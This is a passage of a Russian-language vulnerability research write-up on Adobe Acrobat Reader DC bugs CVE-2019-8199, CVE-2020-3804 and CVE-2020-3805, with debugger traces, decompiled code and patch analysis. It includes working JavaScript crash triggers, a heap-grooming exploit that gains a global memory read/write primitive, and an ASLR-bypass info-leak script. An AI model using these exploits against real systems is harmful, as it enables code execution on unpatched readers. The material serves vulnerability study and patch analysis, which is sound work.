774ecdc9 AcroForm!hb_ot_tag_to_language+0x000652b9
5072e02f EScript!mozilla::HashBytes+0x0002e839
// ......Click to expand...
**5.2 CVE-2019-8199
5.2.1 Описание уязвимости**
CVE-2019-8199 - это выходящая за границы уязвимость чтения и записи, которую можно использовать для выполнения кода. Хотя она влияет на Adobe Acrobat Reader DC 2019.012.20040 и более ранние версии, её можно использовать только в 2019.010.20099 и более ранних версиях. Она была исправлена в версии 2019.021.20047 с помощью рекомендации по безопасности APSB19-49.
5.2.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
// Tested on Adobe Acrobat Reader DC 2019.010.20099
Collab.unregisterReview('\xFE\xFF');
Или с помощью следующего кода JavaScript.
Collab.unregisterApproval( '\xFE\xFF');
Процесс завершился с ошибкой на Annots!PlugInMain + 0x51377 из-за чтения за пределами допустимого диапазона.
(3c88.20a8): Access violation - code c0000005 (!!! second chance !!!)
eax=0000d0d0 ebx=35a90ff8 ecx=36de5000 edx=3ffffffb esi=fecac000 edi=00000000
eip=5b933bbf esp=00dacae0 ebp=00dacae4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Annots!PlugInMain+0x51377:
5b933bbf 0fb7040e movzx eax,word ptr [esi+ecx] ds:002b:35a91000=????Click to expand...
Здесь строка \xFE\xFF обрабатывалась в функции miUCSStrcpy_safe.
0:000> db esi+ecx-10 L20
35a90ff0 a4 99 d6 04 bb bb ba dc-fe ff 00 d0 d0 d0 d0 d0 ................
35a91000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????Click to expand...
Чтение и запись за пределами границ могут быть инициированы, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
C:Copy to clipboard
signed int miUCSStrcpy_safe(wchar_t *dst, unsigned int max_bytes,
wchar_t *src, void *error_handler) {
wchar_t *ptr = dst;
if ( dst ) {
if ( src ) {
if ( max_bytes > 1 ) {
unsigned int max_len = max_bytes >> 1;
do {
wchar_t e = *(wchar_t *)((char *)ptr + (char *)src - (char *)dst);
*ptr = e;
++ptr;
if ( !e ) break; // check Unicode terminator
--max_len;
} while ( max_len );
if ( !max_len ) {
*(ptr - 1) = 0;
void *handler = Handler;
if ( error_handler ) handler = error_handler;
handler(L"Destination too small", L"miUCSStrcpy_safe", 0, 0, 0);
return 0;
}
} else if ( max_bytes > 1 ) {
*dst = 0;
}
}
void *handler = Handler;
if ( error_handler ) handler = error_handler;
handler(L"Bad parameter", L"miUCSStrcpy_safe", 0, 0, 0);
return -1;
}
Следующий код показывает информацию трассировки стека при сбое процесса. Здесь кадр стека #05 Annots!PlugInMain + 0xfa4b8 находился в пределах функции реализации, лежащей в основе Collab.unregisterReview (sub_221FCC5D в Annots.api).
0:000> k
ChildEBP RetAddr
00 00dacae4 5b8ea08c Annots!PlugInMain+0x51377
01 00dacafc 5b905baa Annots!PlugInMain+0x7844
02 00dacb34 5b905ac4 Annots!PlugInMain+0x23362
03 00dacb4c 5b9cbfac Annots!PlugInMain+0x2327c
04 00dacb64 5b9dcd00 Annots!PlugInMain+0xe9764
05 00dacbb8 5c041fe9 Annots!PlugInMain+0xfa4b8
06 00dacc30 5c026d06 EScript!mozilla::HashBytes+0x427f3
......Click to expand...
5.2.3 Разработка эксплойтов
Уязвимость сработала при вызове функции Collab.unregisterReview. Ключевым моментом было то, что исходная строка будет скопирована во вновь созданный буфер кучи, размер которого был вычислен с помощью вызова ASstrnlen_safe. Но запрос на копирование обработался функцией strcpy_safe. Следующий код показывает упрощенную модель уязвимости.
C:Copy to clipboard
// src <- arg of unregisterReview / unregisterApproval
// src = "\xFE\xFF......"
size_t len = ASstrnlen_safe(src, 0x7FFFFFFF, 0); // ANSI Function
char* dst = (char *)malloc(len + 1);
strcpy_safe(dst, 0x7FFFFFFF, src, 0); // Generic API -> Unicode Function
Чтобы воспользоваться уязвимостью, нам нужно контролировать структуру памяти.
1. Распылите много строк и объектов ArrayBuffer, чтобы они занимали память. Здесь мы каждый раз создаем 5 объектов как единое целое.
2. Освободите первый и третий объекты ArrayBuffer в каждом модуле, чтобы создать много промежутков в памяти.
3. Активируйте уязвимость так, чтобы буфер кучи исходной строки был выделен в первом промежутке, а целевой буфер кучи был выделен во втором промежутке в одном из модулей.
4. Замените значение byteLength четвертого ArrayBuffer значением 0xFFFF. Содержимое строки, второго объекта в каждой единице, будет использоваться для перезаписи byteLength и остановки операции копирования, как только мы достигнем нашей цели. Затем перезапишите значение byteLength пятого буфера ArrayBuffer на 0xFFFFFFFF, чтобы получить глобальный примитив чтения и записи.
После получения глобального примитива чтения и записи мы можем выполнить поиск в обратном направлении, чтобы вычислить базовый адрес буфера резервного хранилища объекта ArrayBuffer, чтобы получить произвольный примитив чтения и записи. Мы можем выполнить поиск по двум конкретным значениям, ffeeffee или f0e0d0c0, чтобы вычислить базовый адрес.
0:014> dd 30080000 L10
30080000 16b80e9e 0101331b ffeeffee 00000002 ; ffeeffee
30080010 055a00a4 2f0b0010 055a0000 30080000 ; +0x14 -> 30080000
30080020 00000fcf 30080040 3104f000 000002e5
30080030 00000001 00000000 30d69ff0 30d69ff0
0:014> dd 305f4000 L10
305f4000 00000000 00000000 6ab08d69 0858b71a
305f4010 0bbab388 30330080 0ff00112 f0e0d0c0 ; f0e0d0c0
305f4020 15dc2c3f 00000430 305f402c d13bc929 ; +0x0C -> 305f402c
305f4030 e5c521a7 d9b264d4 919cee58 45da954eClick to expand...
Очень легко добиться выполнения кода, получив произвольный примитив чтения и записи. Ниже приведены оставшиеся шаги, которые не будут обсуждаться в этой статье.
**- Перехват EIP
- Обход ASLR
- Обход DEP
- Обход CFG**
В следующем коде показано, как была использована уязвимость для перезаписи byteLength ArrayBuffer значения 0xFFFFFFFF.
JavaScript:Copy to clipboard
function checkState(array, blockSize) {
var byteLength = blockSize - 8 - 0x10;
var index = -1;
for (var i = 0; i < array.length; i += 5) {
if (array[i + 3].byteLength != byteLength) {
index = i + 3;
break;
}
}
if (index == -1) {
app.alert('exploit failed!');
return;
}
var dv = new DataView(array[index]);
dv.setUint32(byteLength + 12, 0xFFFFFFFF, true);
index += 1;
if (array[index].byteLength == -1) {
app.alert('ArrayBuffer[' + index + '].byteLength = 0xFFFFFFFF');
}
}
function trigger() {
Collab.unregisterReview(string);
checkState(array, blockSize);
}
function createArgumentString(blockSize) {
var string = '\xFE\xFF' + 'a'.repeat(blockSize);
return string.substr(0, blockSize - 8 - 1);
}
function createArrayBuffer(blockSize, index) {
var ab = new ArrayBuffer(blockSize - 8 - 0x10);
var dv = new DataView(ab);
dv.setUint32(0, index, true);
return ab;
}
function createHoles(blockSize, arraySize) {
var basestring = unescape('%u4140%u4041%uFFFF%u0000');
while (basestring.length < blockSize / 2) {
basestring += unescape('%u9090%u9090');
}
var array = new Array(arraySize);
for (var i = 0; i < array.length; i += 5) {
array[i] = createArrayBuffer(blockSize, i);
array[i + 1] = basestring.substr(0, (blockSize - 8)/2-1).toUpperCase();
array[i + 2] = createArrayBuffer(blockSize, i + 2);
array[i + 3] = createArrayBuffer(blockSize, i + 3);
array[i + 4] = createArrayBuffer(blockSize, i + 4);
}
for (var i = 0; i < array.length; i += 5) {
array[i + 2] = null;
array[i + 2] = undefined;
array[i] = null;
array[i] = undefined;
}
return array;
}
var blockSize = 0x10000;
var string = createArgumentString(blockSize);
var array = createHoles(blockSize, 0x2000);
var timer = app.setTimeOut('trigger()', 1000);
5.2.4 Анализ патчей
Как обсуждалось ранее, эта уязвимость затрагивает Adobe Acrobat Reader DC 2019.012.20040 и более ранние версии, но ее можно использовать только в версиях 2019.010.20099 и более ранних.
Возможность эксплуатации уязвимости была нарушена, начиная с Adobe Acrobat Reader DC 2019.012.20034. 2 дополнительных байта NULL (всего 3) были добавлены в конец буфера кучи.
Breakpoint 0 hit
eax=60c68ff8 ebx=60c68ff8 ecx=00000003 edx=01000002 esi=60dc4ff8 edi=00000000
eip=778cecdd esp=005fd480 ebp=005fd494 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Annots!PlugInMain+0x5c37d:
778cecdd 55 push ebp
0:000> dd esp l4
005fd480 7787ac27 60dc4ff8 7fffffff 60c68ff8
0:000> db poi(esp+c) L10
60c68ff8 fe ff 00 00 00 d0 d0 d0-?? ?? ?? ?? ?? ?? ?? ?? ........????????
0:000> !heap -p -a poi(esp+c)
address 60c68ff8 found in
_DPH_HEAP_ROOT @ 8f1000
in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
60ba2820: 60c68ff8 5 - 60c68000 2000
// ......
74afa9f6 ucrtbase!_malloc_base+0x00000026
5756fcc9 AcroRd32!AcroWinMainSandbox+0x00003ec9
50392c22 EScript!PlugInMain+0x000010b2
50396b06 EScript!PlugInMain+0x00004f96
503cf58d EScript!mozilla::HashBytes+0x0002eb5d ; sub_2383F4F8
503cf4d9 EScript!mozilla::HashBytes+0x0002eaa9
57e61e7d AcroRd32!AIDE::PixelPartInfo::operator=+0x0014ce5d
7797ba8e Annots!PlugInMain+0x0010912e
7798f84d Annots!PlugInMain+0x0011ceed
// ......Click to expand...
Изменения были внесены в функцию sub_2383F4F8 в EScript.api.
C:Copy to clipboard
void *__cdecl sub_2383F4F8(int a1, int a2) {
// --------------------------- cut ---------------------------
if ( string ) {
length = ASstrnlen_safe(string, 0x7FFFFFFFu, 0);
if ( length < 0xFFFFFFFC ) {
buffer = calloc(1, length + 3); // put 3 '\x00' at the end
memcpy(buffer, string, length);
}
}
// --------------------------- cut ---------------------------
}
Патч работает только для предотвращения использования уязвимости. Исходный файл POC все еще может привести к сбою процесса, поскольку буфер целевой кучи был недостаточно велик для хранения признака конца строки Unicode.
C:Copy to clipboard
// src <- arg of unregisterReview / unregisterApproval
// src = "\xFE\xFF......"
size_t len = ASstrnlen_safe(src, 0x7FFFFFFF, 0); // ANSI Function
char* dst = (char *)malloc(len + 1); // only sufficient for ANSI string
strcpy_safe(dst, 0x7FFFFFFF, src, 0); // Generic API -> Unicode Function
Уязвимость была окончательно устранена в Adobe Acrobat Reader DC 2019.021.20047. Это было исправлено путем выделения 2 дополнительных байтов для целевого буфера кучи для хранения признака конца строки Unicode.
Breakpoint 0 hit
eax=8062cff8 ebx=8062cff8 ecx=00000000 edx=00000004 esi=7a0a0ff8 edi=00000004
eip=56a6ec3d esp=006fcc3c ebp=006fcc50 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Annots!PlugInMain+0x5bf9d:
56a6ec3d 55 push ebp
0:000> dd esp l4
006fcc3c 56a1af47 7a0a0ff8 7fffffff 8062cff8
0:000> !heap -p -a poi(esp+4)
address 7a0a0ff8 found in
_DPH_HEAP_ROOT @ a31000
in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
79f93f70: 7a0a0ff8 4 - 7a0a0000 2000
// ......
74afa9f6 ucrtbase!_malloc_base+0x00000026
574b1939 AcroRd32!AcroWinMainSandbox+0x000040d9
56a3a53f Annots!PlugInMain+0x0002789f ; sub_2212A50B
56a3a35d Annots!PlugInMain+0x000276bd
56b20c9c Annots!PlugInMain+0x0010dffc
56b3485d Annots!PlugInMain+0x00121bbd
57203681 EScript!mozilla::HashBytes+0x00042d01 // ......Click to expand...
Изменения внесены в функцию sub_2212A50B в Annots.api.
C:Copy to clipboard
void *__cdecl sub_2212A50B(char *src) {
// --------------------------- cut ---------------------------
signed int bytes = strnlen_safe(src, 0x7FFFFFFF, 0);
void *dst = malloc(bytes + 2);
memset(dst, 0, bytes + 2);
strcpy_safe_wrapper(dst, src);
// --------------------------- cut ---------------------------
}
int __cdecl strcpy_safe_wrapper(int dst, int src) {
return strcpy_safe(dst, 0x7FFFFFFF, src, 0);
}
**5.3 CVE-2020-3804
5.3.1 Описание уязвимости**
CVE-2020-3804 - это уязвимость чтения за пределами границ, которую можно использовать для раскрытия информации в обход ASLR. Она влияет на Adobe Acrobat Reader DC 2020.006.20034 и более ранние версии и была исправлена в 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13.
5.3.2 Анализ первопричин
Как обсуждалось ранее, символ спецификации всегда будет в начале строки. В другие места ставить его бессмысленно. Adobe Acrobat Reader DC будет рассматривать строки, которые содержат символ спецификации в других местах, как недопустимые. Код, отвечающий за проверку символа спецификации, можно найти в функции sub_2385B3A9 в EScript.api.
C:Copy to clipboard
int __cdecl sub_2385B3A9(int a1, int str_obj) {
if ( !str_obj ) return 0;
wchar_t *str = sub_2383E8D0(a1, str_obj); // string data pointer
unsigned int len = sub_2383E929((_DWORD *)str_obj); // string length
bool is_unicode = 0;
if ( len ) {
int index = 1;
if ( len >= 2 )
is_unicode = *str == 0x00FF && str[1] == 0x00FE ||
*str == 0x00FE && str[1] == 0x00FF;
if ( len - 1 > 1 ) {
wchar_t *remaining = str + 2;
do {
wchar_t e = *(remaining - 1);
if ( e == 0x00FF ) {
if ( *remaining == 0x00FE ) return 0;
}
if ( e == 0x00FE && *remaining == 0x00FF ) return 0;
++index;
++remaining;
} while ( index < len - 1 );
}
}
// --------------------------- cut ---------------------------
}
При обработке недопустимых строк такого типа в Adobe Acrobat Reader DC возникает исключение. Например, исключение JavaScript будет выброшено в базовой функции console.println при выполнении следующего кода JavaScript.
// Tested on Adobe Acrobat Reader DC 2020.006.20034
console.show();
console.println('[\xFE\xFF]');
Следующее сообщение об исключении будет напечатано в окне консоли.
TypeError: Invalid argument type.
Console.println:2oc
undefined:Open
=== > Parameter cMessage.
Все выглядит прекрасно. Но прежде чем углубляться в детали уязвимости, давайте выясним, как было создано сообщение об ошибке. Здесь мы напечатаем имена свойств и значения свойств объектов Error и Event в ветке catch.
JavaScript:Copy to clipboard
console.show();
function dumpObject(o) {
for (var p in o) {
console.println(p + ':' + typeof(o[p]) + ' = ' + o[p]);
}
}
try {
console.println('[\xFF\xFE]');
} catch(e) {
console.println('---- Error Object ----');
dumpObject(e);
console.println('---- Event Object ----');
dumpObject(event);
}
Следующее сообщение будет напечатано в окне консоли.
---- Error Object ----
name:string = TypeError
message:string = Invalid argument type.
extMessage:string = TypeError: Invalid argument type.Console.println:10oc undefined:Open
===> Parameter cMessage.
fileName:string = Doc undefined:Open
lineNumber:number = 10
number:number = 1
columnNumber:number = 4
---- Event Object ----
target:object = [object Doc]
name:string = Open
type:string = Doc
source:object = null
rc:boolean = trueClick to expand...
Похоже, что некоторые значения объекта Error были созданы на основе объекта Event. Это верно для Adobe Acrobat Reader DC, и во время создания объекта Error может сработать уязвимость чтения за пределами допустимого диапазона.
Уязвимость может быть вызвана следующим кодом JavaScript. Последняя строка использовалась для вызова исключения. Фактически, вы можете использовать другие методы, чтобы вызвать уязвимость. Просто не забудьте убедиться, что исключение должно исходить от внутренней реализации кода. Вы не можете активировать уязвимость, вызвав исключение напрямую, потому что оно будет работать с разными путями кода.
event.defineGetter('type', function() {
return '\xFE\xFF---event-type';
});
console.println('[\xFE\xFF]');Click to expand...
Процесс завершился с ошибкой на EScript!Mozilla::HashBytes + 0x49f4d из-за чтения вне пределов.
(259c.1bd0): Access violation - code c0000005 (!!! second chance !!!)
eax=25e82fc0 ebx=25e82fc0 ecx=25e83000 edx=00000000 esi=00000040 edi=7fffffff
eip=6124a98d esp=008fbca0 ebp=008fbcac iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
EScript!mozilla::HashBytes+0x49f4d:
6124a98d 8a01 mov al,byte ptr [ecx] ds:002b:25e83000=??Click to expand...
Здесь поддельная строка Unicode, свойство fileName объекта Error, обрабатывалась в функции miUCSStrlen_safe.
0:000> db ecx-40 L50
25e82fc0 fe ff 2d 2d 2d 65 76 65-6e 74 2d 74 79 70 65 00 ..---event-type.
25e82fd0 20 75 6e 64 65 66 69 6e-65 64 3a 4f 70 65 6e 00 undefined:Open.
25e82fe0 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
25e82ff0 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
25e83000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????Click to expand...
Чтение за пределами границ может быть инициировано, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
Эта уязвимость немного отличалась от предыдущих. Размер буфера кучи был намного больше, чем длина строки, а оставшиеся байты были неинициализированы (заполнены с помощью c0, когда куча страниц была включена). Уязвимости не будет, если куча была инициализирована (заполнена 00).
Продолжим анализ по информации трассировки стека распределения кучи.
0:000> !heap -p -a ecx
address 25e83000 found in
_DPH_HEAP_ROOT @ a21000
in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
aff3ea0: 25e82fc0 40 - 25e82000 2000
// ......
74b00d50 ucrtbase!_realloc_base+0x00000030
6150bcb2 AcroRd32!AcroWinMainSandbox+0x0001dd92
61230e6e EScript!mozilla::HashBytes+0x0003042e
61237070 EScript!mozilla::HashBytes+0x00036630Click to expand...
Информация трассировки стека указывает, что буфер кучи был выделен функцией realloc, что объясняет, почему буфер кучи был неинициализирован. Фрейм стека EScript!Double_conversion:: DoubleToStringConverter::CreateDecimalRepresentation + 0x0 00447ce находился в функции sub_238AF3A0, которая отвечала за создание объекта Error.
В следующем коде показано, как было создано свойство fileName объекта Error.
C:Copy to clipboard
signed __int16 __cdecl sub_238AF3A0(int a1, int a2, int a3, int a4, int a5) {
// --------------------------- cut ---------------------------
property = sub_2383EB30(v46, 1);
type = box_js_string(sub_23841DB0(event_object), 1, "type");
if ( read_property(event_object, type, property) ) {
string_copy(error_filename, unbox_js_string(property, 1), 0);
}
string_append(error_filename, " ");
target_name = box_js_string(sub_23841DB0(event_object), 1, "targetName");
if ( read_property(event_object, target_name, property) ) {
string_append(error_filename, unbox_js_string(property, 1));
} else {
string_append(error_filename, "?");
}
string_append(error_filename, ":");
name = box_js_string(sub_23841DB0(event_object), 1, "name");
if ( read_property(event_object, name, property) ) {
string_append(error_filename, unbox_js_string(property, 1));
} else {
string_append(error_filename, "?");
}
// --------------------------- cut ---------------------------
}
Здесь был создан буфер кучи для хранения содержимого Error.fileName. Размер буфера кучи был инициализирован равным 0x20 и будет изменяться динамически. Например, размер будет удвоен, если исходный буфер кучи был слишком мал для хранения содержимого при вызове string_copy или string_append. За этот процесс отвечает функция sub_23846F9A, и для создания нового буфера кучи будет вызвана функция realloc.
|-- string_copy or string_append
|-- sub_23846F9A
|-- realloc
Хотя исходный буфер кучи при создании был заполнен нулями, вновь созданный буфер кучи, возвращенный функцией realloc, не будет заполнен нулями. Чтение вне пределов может быть инициировано при обработке содержимого позже в функции sub_238AF3A0. Следующий код показывает информацию трассировки стека при сбое процесса.
C:Copy to clipboard
0:000> k
# ChildEBP RetAddr
00 052fbd8c 643630c7 EScript!mozilla::HashBytes+0x49f4d
01 052fbda0 6439f144 EScript!PlugInMain+0x1547
02 052fbdd0 6439f0a9 EScript!mozilla::HashBytes+0x2e704
03 052fbdec 6439f085 EScript!mozilla::HashBytes+0x2e669
04 052fbe08 643a1f3e EScript!mozilla::HashBytes+0x2e645
05 052fbe48 643a1ee2 EScript!mozilla::HashBytes+0x314fe
06 052fbe64 6440f333 EScript!mozilla::HashBytes+0x314a2
......
5.3.3 Разработка эксплойтов
Эту уязвимость можно использовать для раскрытия информации в обход ASLR. Выглядит почти так же, как CVE-2019-7032. Следующий код показывает упрощенную модель уязвимости.
C:Copy to clipboard
// src <- constructed fileName string for Error object
// src = "\xFE\xFF......"
size_t len = strnlen_safe(src, 0x7FFFFFFF, 0); // Out-Of-Bounds Read
char* dst = (char *)malloc(len);
swab((char*)src + 2, dst, len); // "\xFE\xFF" will be skipped
// Error.fileName <- dst
Чтобы воспользоваться этой уязвимостью, мы должны найти объект XFA с определенным размером, который может быть только 0x20, 0x40, 0x80 и т.д. Размер contentArea объекта XFA был точно равен 0x80 в Adobe Acrobat Reader DC 2019.021.20061 и более ранних версиях. Обратите внимание, что размер объекта contentArea был изменен на 0x84, начиная с Adobe Acrobat Reader DC 2020.006.20034. Вам нужно найти другой подходящий объект, если вы хотите написать эксплойт для версии 2020.006.20034. Для удобства в данном документе в качестве цели для использования выбрана версия 2019.021.20061.
; contentArea object
0:017> dd 92f78f80 L90/4
92f78f80 7e3ea868 00000004 92fa0fe8 7e546268
92f78f90 00000045 c0c0c0c0 c0c0c0e0 51ac6fe0
92f78fa0 8c412f80 00000000 92f76fb0 c0c0c0c2
92f78fb0 63fbad88 9156cfd8 00000000 00000000
92f78fc0 7e2a49e0 4c876f80 00000000 c0c0c0c0
92f78fd0 7e2a49e0 00000000 c0c0c0c0 c0c0c0c0
92f78fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 00000000
92f78ff0 00000003 00000000 00000000 00000000
92f79000 ???????? ???????? ???????? ????????
0:017> ?poi(92f78f80) - acroform
Evaluate expression: 9218152 = 008ca868Click to expand...
В следующем коде показано, как использовалась уязвимость для обхода ASLR.
JavaScript:Copy to clipboard
function createArrayBuffer(count, heapSize) {
var array = new Array(count);
for (var i = 0; i < array.length; ++i) {
array[i] = new ArrayBuffer(heapSize - 0x10);
}
return array;
}
function gc() {
var maxMallocBytes = 128 * 1024 * 1024;
for (var i = 0; i < 10; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
Array.prototype.fill = function(value) {
for (var i = 0; i < this.length; ++i) {
this[i] = value;
}
};
String.prototype.hex2val = function() {
var value = '';
for (var i = 3; i >= 0; --i) {
value += this.substring(i * 2, i * 2 + 2);
}
return parseInt(value, 16);
};
function leakInformation() {
event.__defineGetter__('type', function() {
return '\xFE\xFF[HelloAdobeReader][SoHardToExploit][ReallySad]';
});
// ------------------- initialize variables -------------------
var abArray = new Array(0x2000);
abArray.fill(0);
var xfaArray = new Array(0x1000);
xfaArray.fill(0);
var fillArray = new Array(0x1000);
fillArray.fill(0);
var ab = new ArrayBuffer(0x80 - 0x10);
var u32a = new Uint32Array(ab);
Array.prototype.fill.call(u32a, 0x41414141);
for (var i = 0; i < abArray.length; ++i) {
abArray[i] = ab.slice();
}
var contentArea = xfa.resolveNode(
'xfa.form.#subform[0].#pageSet[0].#pageArea[0].#contentArea[0]');
// --------------- free half ArrayBuffer objects --------------
for (var i = 0; i < abArray.length; i += 2) {
delete(abArray[i]);
abArray[i] = null;
abArray[i] = undefined;
}
gc();
// ---------- fill the holes with contentArea objects ---------
for (var i = 0; i < xfaArray.length; ++i) {
xfaArray[i] = contentArea.clone(1);
}
// ------------ free remaining ArrayBuffer objects ------------
for (var i = 1; i < abArray.length; i += 2) {
abArray[i] = null;
}
gc();
// ------------- try to trigger the vulnerability -------------
for (var i = 0; i < fillArray.length; ++i) {
fillArray[i] = ab.slice();
try {
console.println('[\xFE\xFF]');
} catch(e) {
var stream = util.streamFromString(e.fileName, 'utf-16BE');
var string = stream.read();
var pos = (0x80 - 2 + 8) * 2;
if (string.length > pos) {
var value = string.substring(pos, pos + 8).hex2val();
if ((value & 0xFFFF) == (vptrOffset & 0xFFFF)) {
return value - vptrOffset;
}
}
}
}
return -1;
}
var vptrOffset = 0x008ca868; // Adobe Acrobat Reader DC 2019.021.20061
var memArray = createArrayBuffer(0x1000, 0xFFF8);
var address = leakInformation();
app.alert('AcroForm.api at 0x' + address.toString(16));
5.3.4 Анализ патчей
Уязвимость была исправлена в Adobe Acrobat Reader DC 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13. Она было исправлено путем выделения нового буфера кучи для хранения содержимого Error.fileName и помещения 4 байтов NULL в конец буфера кучи, если содержимое было строкой Unicode.
Изменения были внесены в функцию sub_238AF3A0 в EScript.api.
1
**5.4 CVE-2020-3805
5.4.1 Описание уязвимости**
CVE-2020-3805 - это уязвимость Use-After-Free, которую можно использовать для выполнения кода. Она влияет на Adobe Acrobat Reader DC 2020.006.20034 и более ранние версии и была исправлена в 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13.
5.4.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
JavaScript:Copy to clipboard
// Tested on Adobe Acrobat Reader DC 2020.006.20034 var
name='\xFE\xFF\x0A\x1B\x2A\x65\xF0\x75\x9C\x31\x1E\x4C\x9B\xAD\x37\x2E\xAC'; this.addField(name, 'text', 0, [10, 20, 30, 40]); this.addField(name, 'text', 0, [10, 20, 30, 40]); this.resetForm();
Click to expand...
Процесс завершился с ошибкой в AcroForm!Hb_set_invert + 0xc485f из-за Use- After-Free.
(82c.2894): Access violation - code c0000005 (!!! second chance !!!)
eax=313cce48 ebx=0000000d ecx=0010000d edx=39f5efe8 esi=37998fb0 edi=3e5abfb0
eip=6125c69f esp=001ec694 ebp=001ec6c0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
AcroForm!hb_set_invert+0xc485f:
6125c69f ff770c push dword ptr [edi+0Ch] ds:002b:3e5abfbc=????????Click to expand...
Здесь объект текстового поля, назовем его field1, был создан при первом вызове this.addField. Поле field1 будет помечено как Dead при повторном вызове this.addField. Внутренний объект свойства Field будет освобожден, когда объект поля был помечен как Dead. Когда процесс завершился с ошибкой в AcroForm!Hb_set_invert + 0xc485f, регистр edi указывал на освобожденный внутренний объект свойства Field, хотя он не принадлежал field1.
0:000> !heap -p -a edi
address 3e5abfb0 found in
_DPH_HEAP_ROOT @ 611000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
46930270: 3e5ab000 2000
......
7702e558 ucrtbase!free+0x00000018
62dd4af9 AcroRd32!AcroWinMainSandbox+0x00006bd9
6125ed72 AcroForm!hb_set_invert+0x000c6f32
6125f098 AcroForm!hb_set_invert+0x000c7258
6125ef54 AcroForm!hb_set_invert+0x000c7114
6125dc8f AcroForm!hb_set_invert+0x000c5e4f
6125cfea AcroForm!hb_set_invert+0x000c51aa
6125cdbf AcroForm!hb_set_invert+0x000c4f7f
6125c49f AcroForm!hb_set_invert+0x000c465f
62f428c6 AcroRd32!DllCanUnloadNow+0x001252d6
62f423c6 AcroRd32!DllCanUnloadNow+0x00124dd6
614194a9 AcroForm!DllUnregisterServer+0x000671f9
6136ef80 AcroForm!hb_ot_tag_to_language+0x000591e0 ; this.addField
......Click to expand...
Освобожденный внутренний объект свойства Field будет повторно использован при вызове this.resetForm.
0:000> k
ChildEBP RetAddr
00 001ec6c0 6148443f AcroForm!hb_set_invert+0xc485f
01 001ec750 6142a6ad AcroForm!DllUnregisterServer+0xd218f
02 001ec844 61375435 AcroForm!DllUnregisterServer+0x783fd
03 001eccf8 60524df5 AcroForm!hb_ot_tag_to_language+0x5f695 ; this.resetForm
04 001ece40 60508588 EScript!mozilla::HashBytes+0x443b5......Click to expand...
Откровенно говоря, эта уязвимость немного сложнее предыдущих. Основная причина этого не будет обсуждаться в этой статье.
5.4.3 Разработка эксплойтов
Управлять регистром EIP, используя эту уязвимость, несложно. Здесь будет подробно обсуждаться общий метод использования уязвимостей типа Use-After-Free в отношении полевых объектов. Хотя он работает только в Adobe Acrobat Reader DC 2019.012.20040 и более ранних версиях, он может помочь нам добиться выполнения кода за счет эксплуатации самой уязвимости Use-After-Free. Впервые этот метод был опубликован на GitHub (CVE-2019-8039.js) @PTDuy из STARLabs.
Уязвимость можно воспроизвести в Adobe Acrobat Reader DC 2019.012.20040 с помощью следующего кода JavaScript.
JavaScript:Copy to clipboard
// Tested on Adobe Acrobat Reader DC 2019.012.20040
var name='\xFE\xFF\x0A\x1B\x2A\x65\xF0\x75\x9C\x31\x1E\x4C\x9B\xAD\x37\x2E\xAC';
var field = this.addField(name, 'text', 0, [10, 20, 30, 40]);
var value = {
toString: function() {
app.doc.addField(name, 'text', 0, [10, 20, 30, 40]);
return 'test';
},
};
field.userName = value;
Код выглядит почти так же, как и традиционные коды Use-After-Free. Здесь внутренний объект свойства Field для поля переменной будет освобожден во время присвоения свойства userName, и процесс завершится сбоем из-за Use-After-Free.
Однако мы воспользуемся уязвимостью, используя свойство calcOrderIndex вместо других свойств. Следующий текст описывает, как работает свойство calcOrderIndex.
_calcOrderIndex
Изменяет порядок вычисления полей в документе. Когда в документ добавляется вычислимый текст или поле со списком, имя поля добавляется к массиву порядка вычислений. Массив порядка вычислений определяет, в каком порядке вычисляются поля. Свойство calcOrderIndex работает аналогично вкладке Calculate, используемой инструментом Acrobat Form._
Ниже приведен псевдокод функции установки свойства calcOrderIndex .
C:Copy to clipboard
// sub_20A571F0 in AcroForm.api / Adobe Acrobat Reader DC 2019.012.20040
int __cdecl field_calcOrderIndex_setter(
int field_object, int property_name, int new_index_jsobj) {
// --------------------------- cut ---------------------------
if ( get_object_property(field_object, "Dead") ) {
return throw_javascript_exception(field_object, property_name, 0, 13, 0);
}
if ( sub_20A4F354(field_object) == 0) {
return throw_javascript_exception(field_object, property_name, 0, 11, 0);
}
internal_field = get_object_property(field_object, "Field");
if ( internal_field ) {
name_list = get_name_list(*(_DWORD**)(*(_DWORD*)(internal_field + 4) + 4));
field_name = get_string(*(_DWORD *)(internal_field + 32));
old_index = get_name_index(name_list, field_name);
new_index = unbox_js_value(new_index_jsobj);
if ( old_index >= 0 && new_index >= 0 && old_index != new_index ) {
rearrange_namelist(name_list, new_index, internal_field);
if ( old_index > new_index ) ++old_index;
remove_original_name(name_list, old_index);
}
}
return 1;
}
